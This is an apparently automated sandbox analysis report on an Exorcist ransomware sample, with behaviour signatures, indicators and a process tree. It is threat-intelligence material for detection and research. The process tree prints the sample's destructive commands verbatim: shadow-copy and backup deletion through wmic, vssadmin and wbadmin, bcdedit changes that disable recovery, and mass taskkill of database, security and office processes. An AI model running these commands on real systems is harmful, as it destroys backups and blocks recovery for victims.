exorcist | 9aa75631b7a56a84117e5aed0540fb74dfcde2c36d52744156381c9161603e28

Resubmissions

23-07-2020 14:59

200723-qeb9jz5z6e 10

23-07-2020 13:40

200723-1el7ztcngs 10

Analysis

max time kernel
112s
max time network
120s
platform
windows7_x64
resource
win7
submitted
23-07-2020 13:40

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

build-x32.crypt.bin.exe

Score

10^/10

ransomware exorcist persistence

Malware Config

Signatures

Enumerates connected drives 3 TTPs

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082
Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

292 cmd.exe

pid	process
292	cmd.exe

Kills process with taskkill 91 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
1720	taskkill.exe
1544	taskkill.exe
1660	taskkill.exe
1128	taskkill.exe
1860	taskkill.exe
1960	taskkill.exe
1616	taskkill.exe
2036	taskkill.exe
1396	taskkill.exe
1764	taskkill.exe
528	taskkill.exe
1760	taskkill.exe
1440	taskkill.exe
1664	taskkill.exe
1432	taskkill.exe
1088	taskkill.exe
2036	taskkill.exe
1696	taskkill.exe
1584	taskkill.exe
1668	taskkill.exe
668	taskkill.exe
432	taskkill.exe
1592	taskkill.exe
1076	taskkill.exe
1440	taskkill.exe
1760	taskkill.exe
1584	taskkill.exe
1948	taskkill.exe
1856	taskkill.exe
1648	taskkill.exe
2008	taskkill.exe
2040	taskkill.exe
1940	taskkill.exe
1440	taskkill.exe
1696	taskkill.exe
1860	taskkill.exe
316	taskkill.exe
1852	taskkill.exe
2008	taskkill.exe
1108	taskkill.exe
656	taskkill.exe
528	taskkill.exe
1396	taskkill.exe
432	taskkill.exe
2008	taskkill.exe
1916	taskkill.exe
1604	taskkill.exe
1568	taskkill.exe
1536	taskkill.exe
1580	taskkill.exe
1656	taskkill.exe
1608	taskkill.exe
1212	taskkill.exe
1544	taskkill.exe
1916	taskkill.exe
1964	taskkill.exe
1128	taskkill.exe
1760	taskkill.exe
1956	taskkill.exe
1536	taskkill.exe
1856	taskkill.exe
1356	taskkill.exe
1820	taskkill.exe
1580	taskkill.exe

Suspicious behavior: EnumeratesProcesses 358 IoCs

Processes:

build-x32.crypt.bin.exe

pid	process
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe
1124	build-x32.crypt.bin.exe

Modifies service 2 TTPs 4 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe

Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Processes:

vssadmin.exe

pid process

1816 vssadmin.exe

pid	process
1816	vssadmin.exe

Modifies extensions of user files 11 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

build-x32.crypt.bin.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\ResumeAssert.crw => C:\Users\Admin\Pictures\ResumeAssert.crw.UVvemj	build-x32.crypt.bin.exe
File opened for modification	C:\Users\Admin\Pictures\ResumeAssert.crw.UVvemj	build-x32.crypt.bin.exe
File renamed	C:\Users\Admin\Pictures\SwitchImport.png => C:\Users\Admin\Pictures\SwitchImport.png.UVvemj	build-x32.crypt.bin.exe
File opened for modification	C:\Users\Admin\Pictures\SwitchImport.png.UVvemj	build-x32.crypt.bin.exe
File opened for modification	C:\Users\Admin\Pictures\DisableInitialize.crw.UVvemj	build-x32.crypt.bin.exe
File opened for modification	C:\Users\Admin\Pictures\EditExpand.png.UVvemj	build-x32.crypt.bin.exe
File renamed	C:\Users\Admin\Pictures\InvokeConvert.tiff => C:\Users\Admin\Pictures\InvokeConvert.tiff.UVvemj	build-x32.crypt.bin.exe
File opened for modification	C:\Users\Admin\Pictures\InvokeConvert.tiff.UVvemj	build-x32.crypt.bin.exe
File renamed	C:\Users\Admin\Pictures\DisableInitialize.crw => C:\Users\Admin\Pictures\DisableInitialize.crw.UVvemj	build-x32.crypt.bin.exe
File renamed	C:\Users\Admin\Pictures\EditExpand.png => C:\Users\Admin\Pictures\EditExpand.png.UVvemj	build-x32.crypt.bin.exe
File opened for modification	C:\Users\Admin\Pictures\InvokeConvert.tiff	build-x32.crypt.bin.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

build-x32.crypt.bin.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\d.bmp"	build-x32.crypt.bin.exe

NTFS ADS 5 IoCs

Processes:

build-x32.crypt.bin.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Temp\boot.sys:ftztnzezfosqioqjq	build-x32.crypt.bin.exe
File opened for modification	C:\Users\Admin\AppData\Local\Temp\boot.sys:qncbeovltenni	build-x32.crypt.bin.exe
File opened for modification	C:\Users\Admin\AppData\Local\Temp\boot.sys:uzkcayivo	build-x32.crypt.bin.exe
File created	C:\Users\Admin\AppData\Local\Temp\boot.sys:fwsjvisltoiwhlkd	build-x32.crypt.bin.exe
File created	C:\Users\Admin\AppData\Local\Temp\boot.sys:uzkcayivo	build-x32.crypt.bin.exe

Exorcist
Ransomware-as-a-service which avoids infecting machines in CIS nations. First seen in mid-2020.
ransomware exorcist
Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

792 timeout.exe
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

pid	process
792	timeout.exe

Suspicious use of WriteProcessMemory 772 IoCs

Processes:

build-x32.crypt.bin.execmd.execmd.execmd.execmd.execmd.exe

description	pid	process	target process
PID 1124 wrote to memory of 1312	1124	build-x32.crypt.bin.exe	cmd.exe
PID 1124 wrote to memory of 1312	1124	build-x32.crypt.bin.exe	cmd.exe
PID 1124 wrote to memory of 1312	1124	build-x32.crypt.bin.exe	cmd.exe
PID 1124 wrote to memory of 1312	1124	build-x32.crypt.bin.exe	cmd.exe
PID 1312 wrote to memory of 1476	1312	cmd.exe	WMIC.exe
PID 1312 wrote to memory of 1476	1312	cmd.exe	WMIC.exe
PID 1312 wrote to memory of 1476	1312	cmd.exe	WMIC.exe
PID 1312 wrote to memory of 1476	1312	cmd.exe	WMIC.exe
PID 1124 wrote to memory of 1096	1124	build-x32.crypt.bin.exe	cmd.exe
PID 1124 wrote to memory of 1096	1124	build-x32.crypt.bin.exe	cmd.exe
PID 1124 wrote to memory of 1096	1124	build-x32.crypt.bin.exe	cmd.exe
PID 1124 wrote to memory of 1096	1124	build-x32.crypt.bin.exe	cmd.exe
PID 1124 wrote to memory of 1536	1124	build-x32.crypt.bin.exe	cmd.exe
PID 1124 wrote to memory of 1536	1124	build-x32.crypt.bin.exe	cmd.exe
PID 1124 wrote to memory of 1536	1124	build-x32.crypt.bin.exe	cmd.exe
PID 1124 wrote to memory of 1536	1124	build-x32.crypt.bin.exe	cmd.exe
PID 1124 wrote to memory of 1720	1124	build-x32.crypt.bin.exe	cmd.exe
PID 1124 wrote to memory of 1720	1124	build-x32.crypt.bin.exe	cmd.exe
PID 1124 wrote to memory of 1720	1124	build-x32.crypt.bin.exe	cmd.exe
PID 1124 wrote to memory of 1720	1124	build-x32.crypt.bin.exe	cmd.exe
PID 1124 wrote to memory of 1824	1124	build-x32.crypt.bin.exe	cmd.exe
PID 1124 wrote to memory of 1824	1124	build-x32.crypt.bin.exe	cmd.exe
PID 1124 wrote to memory of 1824	1124	build-x32.crypt.bin.exe	cmd.exe
PID 1124 wrote to memory of 1824	1124	build-x32.crypt.bin.exe	cmd.exe
PID 1124 wrote to memory of 1808	1124	build-x32.crypt.bin.exe	cmd.exe
PID 1124 wrote to memory of 1808	1124	build-x32.crypt.bin.exe	cmd.exe
PID 1124 wrote to memory of 1808	1124	build-x32.crypt.bin.exe	cmd.exe
PID 1124 wrote to memory of 1808	1124	build-x32.crypt.bin.exe	cmd.exe
PID 1808 wrote to memory of 1816	1808	cmd.exe	vssadmin.exe
PID 1808 wrote to memory of 1816	1808	cmd.exe	vssadmin.exe
PID 1808 wrote to memory of 1816	1808	cmd.exe	vssadmin.exe
PID 1808 wrote to memory of 1816	1808	cmd.exe	vssadmin.exe
PID 1124 wrote to memory of 1660	1124	build-x32.crypt.bin.exe	cmd.exe
PID 1124 wrote to memory of 1660	1124	build-x32.crypt.bin.exe	cmd.exe
PID 1124 wrote to memory of 1660	1124	build-x32.crypt.bin.exe	cmd.exe
PID 1124 wrote to memory of 1660	1124	build-x32.crypt.bin.exe	cmd.exe
PID 1124 wrote to memory of 1608	1124	build-x32.crypt.bin.exe	cmd.exe
PID 1124 wrote to memory of 1608	1124	build-x32.crypt.bin.exe	cmd.exe
PID 1124 wrote to memory of 1608	1124	build-x32.crypt.bin.exe	cmd.exe
PID 1124 wrote to memory of 1608	1124	build-x32.crypt.bin.exe	cmd.exe
PID 1608 wrote to memory of 1644	1608	cmd.exe	taskkill.exe
PID 1608 wrote to memory of 1644	1608	cmd.exe	taskkill.exe
PID 1608 wrote to memory of 1644	1608	cmd.exe	taskkill.exe
PID 1608 wrote to memory of 1644	1608	cmd.exe	taskkill.exe
PID 1124 wrote to memory of 1868	1124	build-x32.crypt.bin.exe	cmd.exe
PID 1124 wrote to memory of 1868	1124	build-x32.crypt.bin.exe	cmd.exe
PID 1124 wrote to memory of 1868	1124	build-x32.crypt.bin.exe	cmd.exe
PID 1124 wrote to memory of 1868	1124	build-x32.crypt.bin.exe	cmd.exe
PID 1868 wrote to memory of 1948	1868	cmd.exe	taskkill.exe
PID 1868 wrote to memory of 1948	1868	cmd.exe	taskkill.exe
PID 1868 wrote to memory of 1948	1868	cmd.exe	taskkill.exe
PID 1868 wrote to memory of 1948	1868	cmd.exe	taskkill.exe
PID 1124 wrote to memory of 1972	1124	build-x32.crypt.bin.exe	cmd.exe
PID 1124 wrote to memory of 1972	1124	build-x32.crypt.bin.exe	cmd.exe
PID 1124 wrote to memory of 1972	1124	build-x32.crypt.bin.exe	cmd.exe
PID 1124 wrote to memory of 1972	1124	build-x32.crypt.bin.exe	cmd.exe
PID 1972 wrote to memory of 1028	1972	cmd.exe	taskkill.exe
PID 1972 wrote to memory of 1028	1972	cmd.exe	taskkill.exe
PID 1972 wrote to memory of 1028	1972	cmd.exe	taskkill.exe
PID 1972 wrote to memory of 1028	1972	cmd.exe	taskkill.exe
PID 1124 wrote to memory of 2020	1124	build-x32.crypt.bin.exe	cmd.exe
PID 1124 wrote to memory of 2020	1124	build-x32.crypt.bin.exe	cmd.exe
PID 1124 wrote to memory of 2020	1124	build-x32.crypt.bin.exe	cmd.exe
PID 1124 wrote to memory of 2020	1124	build-x32.crypt.bin.exe	cmd.exe

Suspicious use of AdjustPrivilegeToken 131 IoCs

Processes:

WMIC.exevssvc.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	1476	WMIC.exe
Token: SeSecurityPrivilege	1476	WMIC.exe
Token: SeTakeOwnershipPrivilege	1476	WMIC.exe
Token: SeLoadDriverPrivilege	1476	WMIC.exe
Token: SeSystemProfilePrivilege	1476	WMIC.exe
Token: SeSystemtimePrivilege	1476	WMIC.exe
Token: SeProfSingleProcessPrivilege	1476	WMIC.exe
Token: SeIncBasePriorityPrivilege	1476	WMIC.exe
Token: SeCreatePagefilePrivilege	1476	WMIC.exe
Token: SeBackupPrivilege	1476	WMIC.exe
Token: SeRestorePrivilege	1476	WMIC.exe
Token: SeShutdownPrivilege	1476	WMIC.exe
Token: SeDebugPrivilege	1476	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1476	WMIC.exe
Token: SeRemoteShutdownPrivilege	1476	WMIC.exe
Token: SeUndockPrivilege	1476	WMIC.exe
Token: SeManageVolumePrivilege	1476	WMIC.exe
Token: 33	1476	WMIC.exe
Token: 34	1476	WMIC.exe
Token: 35	1476	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1476	WMIC.exe
Token: SeSecurityPrivilege	1476	WMIC.exe
Token: SeTakeOwnershipPrivilege	1476	WMIC.exe
Token: SeLoadDriverPrivilege	1476	WMIC.exe
Token: SeSystemProfilePrivilege	1476	WMIC.exe
Token: SeSystemtimePrivilege	1476	WMIC.exe
Token: SeProfSingleProcessPrivilege	1476	WMIC.exe
Token: SeIncBasePriorityPrivilege	1476	WMIC.exe
Token: SeCreatePagefilePrivilege	1476	WMIC.exe
Token: SeBackupPrivilege	1476	WMIC.exe
Token: SeRestorePrivilege	1476	WMIC.exe
Token: SeShutdownPrivilege	1476	WMIC.exe
Token: SeDebugPrivilege	1476	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1476	WMIC.exe
Token: SeRemoteShutdownPrivilege	1476	WMIC.exe
Token: SeUndockPrivilege	1476	WMIC.exe
Token: SeManageVolumePrivilege	1476	WMIC.exe
Token: 33	1476	WMIC.exe
Token: 34	1476	WMIC.exe
Token: 35	1476	WMIC.exe
Token: SeBackupPrivilege	744	vssvc.exe
Token: SeRestorePrivilege	744	vssvc.exe
Token: SeAuditPrivilege	744	vssvc.exe
Token: SeDebugPrivilege	1644	taskkill.exe
Token: SeDebugPrivilege	1948	taskkill.exe
Token: SeDebugPrivilege	1028	taskkill.exe
Token: SeDebugPrivilege	1500	taskkill.exe
Token: SeDebugPrivilege	1092	taskkill.exe
Token: SeDebugPrivilege	1108	taskkill.exe
Token: SeDebugPrivilege	1720	taskkill.exe
Token: SeDebugPrivilege	1760	taskkill.exe
Token: SeDebugPrivilege	1664	taskkill.exe
Token: SeDebugPrivilege	1960	taskkill.exe
Token: SeDebugPrivilege	284	taskkill.exe
Token: SeDebugPrivilege	2008	taskkill.exe
Token: SeDebugPrivilege	1580	taskkill.exe
Token: SeDebugPrivilege	1548	taskkill.exe
Token: SeDebugPrivilege	1828	taskkill.exe
Token: SeDebugPrivilege	1764	taskkill.exe
Token: SeDebugPrivilege	1592	taskkill.exe
Token: SeDebugPrivilege	1656	taskkill.exe
Token: SeDebugPrivilege	1968	taskkill.exe
Token: SeDebugPrivilege	2040	taskkill.exe
Token: SeDebugPrivilege	2024	taskkill.exe

C:\Users\Admin\AppData\Local\Temp\build-x32.crypt.bin.exe
"C:\Users\Admin\AppData\Local\Temp\build-x32.crypt.bin.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- NTFS ADS
- Suspicious use of WriteProcessMemory
PID:1124

C:\Windows\SysWOW64\cmd.exe
cmd /C wmic.exe SHADOWCOPY DELETE /nointeractive
2⤵
- Suspicious use of WriteProcessMemory
PID:1312

C:\Windows\SysWOW64\Wbem\WMIC.exe
wmic.exe SHADOWCOPY DELETE /nointeractive
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1476

C:\Windows\SysWOW64\cmd.exe
cmd /C wbadmin DELETE SYSTEMSTATEBACKUP
2⤵
PID:1096

C:\Windows\SysWOW64\cmd.exe
cmd /C wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest
2⤵
PID:1536

C:\Windows\SysWOW64\cmd.exe
cmd /C bcdedit.exe /set {default} recoveryenabled No
2⤵
PID:1720

C:\Windows\SysWOW64\cmd.exe
cmd /C bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
2⤵
PID:1824

C:\Windows\SysWOW64\cmd.exe
cmd /C vssadmin.exe Delete Shadows /All /Quiet
2⤵
- Suspicious use of WriteProcessMemory
PID:1808

C:\Windows\SysWOW64\vssadmin.exe
vssadmin.exe Delete Shadows /All /Quiet
3⤵
- Interacts with shadow copies
PID:1816

C:\Windows\SysWOW64\cmd.exe
cmd /C C:\Windows\system32\vssvc.exe
2⤵
PID:1660

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM wxServer*
2⤵
- Suspicious use of WriteProcessMemory
PID:1608

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM wxServer*
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1644

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM QBFCService*
2⤵
- Suspicious use of WriteProcessMemory
PID:1868

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM QBFCService*
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1948

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM QBVSS*
2⤵
- Suspicious use of WriteProcessMemory
PID:1972

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM QBVSS*
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1028

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM sql*
2⤵
PID:2020

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM sql*
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1500

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM msaccess*
2⤵
PID:1432

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM msaccess*
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1092

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM mssql*
2⤵
PID:1436

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM mssql*
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1108

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM mysql*
2⤵
PID:1512

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM mysql*
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1720

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM wxServerView*
2⤵
PID:1792

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM wxServerView*
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1760

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM sqlmangr*
2⤵
PID:1600

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM sqlmangr*
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1664

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM RAgui*
2⤵
PID:1644

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM RAgui*
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1960

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM supervise*
2⤵
PID:1948

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM supervise*
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:284

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM Culture*
2⤵
PID:1028

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM Culture*
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2008

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM Defwatch*
2⤵
PID:1500

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM Defwatch*
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1580

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM winword*
2⤵
PID:1092

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM winword*
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1548

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM QBW32*
2⤵
PID:1108

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM QBW32*
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1828

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM QBDBMgr*
2⤵
PID:1720

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM QBDBMgr*
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1764

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM qbupdate*
2⤵
PID:1760

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM qbupdate*
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1592

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM axlbridge*
2⤵
PID:1664

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM axlbridge*
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1656

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM httpd*
2⤵
PID:1960

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM httpd*
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1968

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM fdlauncher*
2⤵
PID:284

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM fdlauncher*
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2040

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM MsDtSrvr*
2⤵
PID:2008

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM MsDtSrvr*
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2024

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM java*
2⤵
PID:1580

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM java*
3⤵
PID:292

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM 360se*
2⤵
PID:1548

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM 360se*
3⤵
PID:1088

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM 360doctor*
2⤵
PID:1828

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM 360doctor*
3⤵
PID:1512

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM wdswfsafe*
2⤵
PID:1764

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM wdswfsafe*
3⤵
- Kills process with taskkill
PID:1856

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM fdhost*
2⤵
PID:1592

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM fdhost*
3⤵
- Kills process with taskkill
PID:1604

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM GDscan*
2⤵
PID:1656

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM GDscan*
3⤵
- Kills process with taskkill
PID:1608

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM ZhuDongFangYu*
2⤵
PID:1968

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM ZhuDongFangYu*
3⤵
- Kills process with taskkill
PID:1940

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM QBDBMgrN*
2⤵
PID:2040

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM QBDBMgrN*
3⤵
PID:1028

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM mysqld*
2⤵
PID:2024

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM mysqld*
3⤵
- Kills process with taskkill
PID:1212

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM AutodeskDesktopApp*
2⤵
PID:292

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM AutodeskDesktopApp*
3⤵
- Kills process with taskkill
PID:1616

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM acwebbrowser*
2⤵
PID:1088

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM acwebbrowser*
3⤵
- Kills process with taskkill
PID:1544

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM Creative Cloud*
2⤵
PID:1512

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM Creative Cloud*
3⤵
- Kills process with taskkill
PID:1396

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM Adobe Desktop Service*
2⤵
PID:1636

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM Adobe Desktop Service*
3⤵
- Kills process with taskkill
PID:1764

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM CoreSync*
2⤵
PID:1852

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM CoreSync*
3⤵
- Kills process with taskkill
PID:1956

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM Adobe CEF Helper*
2⤵
PID:1652

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM Adobe CEF Helper*
3⤵
PID:1988

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM node*
2⤵
PID:1656

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM node*
3⤵
- Kills process with taskkill
PID:1568

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM AdobeIPCBroker*
2⤵
PID:1968

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM AdobeIPCBroker*
3⤵
PID:1524

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM sync-taskbar*
2⤵
PID:1936

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM sync-taskbar*
3⤵
- Kills process with taskkill
PID:1536

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM sync-worker*
2⤵
PID:2012

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM sync-worker*
3⤵
- Kills process with taskkill
PID:656

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM InputPersonalization*
2⤵
PID:1836

C:\Windows\SysWOW64\taskkill.exe
